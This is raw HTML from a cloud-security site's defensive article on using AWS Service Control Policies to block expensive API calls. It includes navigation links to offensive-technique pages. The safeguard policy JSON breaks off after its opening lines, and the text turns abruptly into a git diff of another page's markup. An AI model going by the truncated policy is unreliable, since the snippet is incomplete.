<input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#understanding-service-control-policies class=md-nav__link> <span class=md-ellipsis> Understanding Service Control Policies </span> </a> </li> <li class=md-nav__item> <a href=#safeguard-scp class=md-nav__link> <span class=md-ellipsis> Safeguard SCP </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#understanding-service-control-policies class=md-nav__link> <span class=md-ellipsis> Understanding Service Control Policies </span> </a> </li> <li class=md-nav__item> <a href=#safeguard-scp class=md-nav__link> <span class=md-ellipsis> Safeguard SCP </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/block-expensive-actions-with-scps.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=prevent-expensive-aws-api-actions-with-scps>Prevent Expensive AWS API Actions with SCPs<a class=headerlink href=#prevent-expensive-aws-api-actions-with-scps title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://gist.github.com/iann0036/b473bbb3097c5f4c656ed3d07b4d2222> List of expensive / long-term effect AWS IAM actions</a> by <a href=https://x.com/iann0036>Ian McKay</a></p> <p><a class=glightbox href=/images/researchers/ian_mckay.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/ian_mckay.jpg alt="Ian McKay" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <ul> <li><a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html>Service Control Policies</a> (SCPs)</li> <li><a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_attach.html>Attaching and detaching service control policies</a></li> </ul> </li> </ul> </div> <p>An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.</p> <h2 id=understanding-service-control-policies>Understanding Service Control Policies<a class=headerlink href=#understanding-service-control-policies title="Permanent link">&para;</a></h2> <p>To help prevent billing headaches when learning about AWS security or conducting research we can use a <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html>Service Control Policy</a> (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an <a href=../aws_organizations_defaults/ >AWS Organization</a>. Thanks to the work of <a href=https://x.com/iann0036>Ian McKay</a>, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided. </p> <p>To implement the policy below, refer to the AWS <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_attach.html>documentation</a> for detailed instructions on attaching and managing SCPs.</p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.</p> </div> <h2 id=safeguard-scp>Safeguard SCP<a class=headerlink href=#safeguard-scp title="Permanent link">&para;</a></h2> <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>  </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
 <span class=w>  </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
 <span class=w>    </span><span class=p>{</span>
diff --git a/aws/general-knowledge/connection-tracking/index.html b/aws/general-knowledge/connection-tracking/index.html
index e843283db..07c6a7794 100644
--- a/aws/general-knowledge/connection-tracking/index.html
+++ b/aws/general-knowledge/connection-tracking/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Abuse security group connection tracking to maintain persistence even when security group rules are changed."><link href=https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ rel=canonical><link href=../block-expensive-actions-with-scps/ rel=prev><link href=../iam-key-identifiers/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Connection Tracking - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Connection Tracking - Hacking The Cloud"><meta property=og:description content="Abuse security group connection tracking to maintain persistence even when security group rules are changed."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Connection Tracking - Hacking The Cloud"><meta property=twitter:description content="Abuse security group connection tracking to maintain persistence even when security group rules are changed."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Abuse security group connection tracking to maintain persistence even when security group rules are changed."><link href=https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ rel=canonical><link href=../block-expensive-actions-with-scps/ rel=prev><link href=../iam-key-identifiers/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Connection Tracking - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Connection Tracking - Hacking The Cloud"><meta property=og:description content="Abuse security group connection tracking to maintain persistence even when security group rules are changed."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ property=og:url><meta property=twitter:card 